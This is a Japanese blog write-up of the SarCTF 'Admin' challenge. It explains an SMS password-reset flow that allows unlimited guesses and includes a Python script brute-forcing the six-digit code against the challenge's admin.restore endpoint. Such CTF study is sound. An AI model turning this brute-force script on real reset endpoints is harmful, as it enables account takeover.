はまやんはまやんはまやん

hamayanhamayan's blog

Admin [SarCTF]

https://ctftime.org/task/10485

前提知識

解説

Hintを見るとかなり難易度が下がる。
パスワードの再発行でSMS認証を使っていて、いかにも特殊な感じがする。
http://sherlock-message.ru/script.js
コードで該当の場所を見てみると、以下のようになっている。

case 'adminRestore':
    req = api('admin.restore', undefined, true);
    if (req.status === 'success') {
        while (req.response.need_sms === true) {
            code = prompt('A six-digit secret code has been sent to your number. Enter the code from SMS:');
            if (code === null || code === undefined || code === '') {
                location.reload();
            } else {
                req = api('admin.restore', {
                    'hash': req.response.new_hash,
                    'sms_code': code
                }, true);
            }
        }
        if (req.response.message) alert(req.response.message);
    }
    break;

コードを見る感じ、whileで何回も聞いている。
再送という言葉もないので、同じコードを無限に要求しているのでは?と想像できる。
コードは全部で106通りであるため、まだブルートフォース可能な範囲。
2番目のヒントを見ると、かなり範囲が狭まれる。

import hhtools.util as hu
import json

js = json.loads(hu.get_file_via_internet_post_form_nocache("http://sherlock-message.ru/api/admin.restore", {}))
ha = js['response']['new_hash']
print(f'has: {ha}')

for code in range(260000, 280000):
    js = json.loads(hu.get_file_via_internet_post_form_nocache('http://sherlock-message.ru/api/admin.restore', {
            'hash': ha, 
            'sms_code': str(code)}))
    
    print(str(code) + ':' + str(js))

    if js['response']['need_sms'] == False:
        print('Got it!')
        break
    ha = js['response']['new_hash']

以下、復習。
大体こういうのってメールかSMSで送られてくるなーと思って、とりあえずSMS認証でブルートフォース探してみる。
有名なやり方なんかなーと探してみると、$1657のバグバウンティがでてきた
Paperもでてきた。
でも全体的に量が少なく、一般的って感じじゃないっぽい。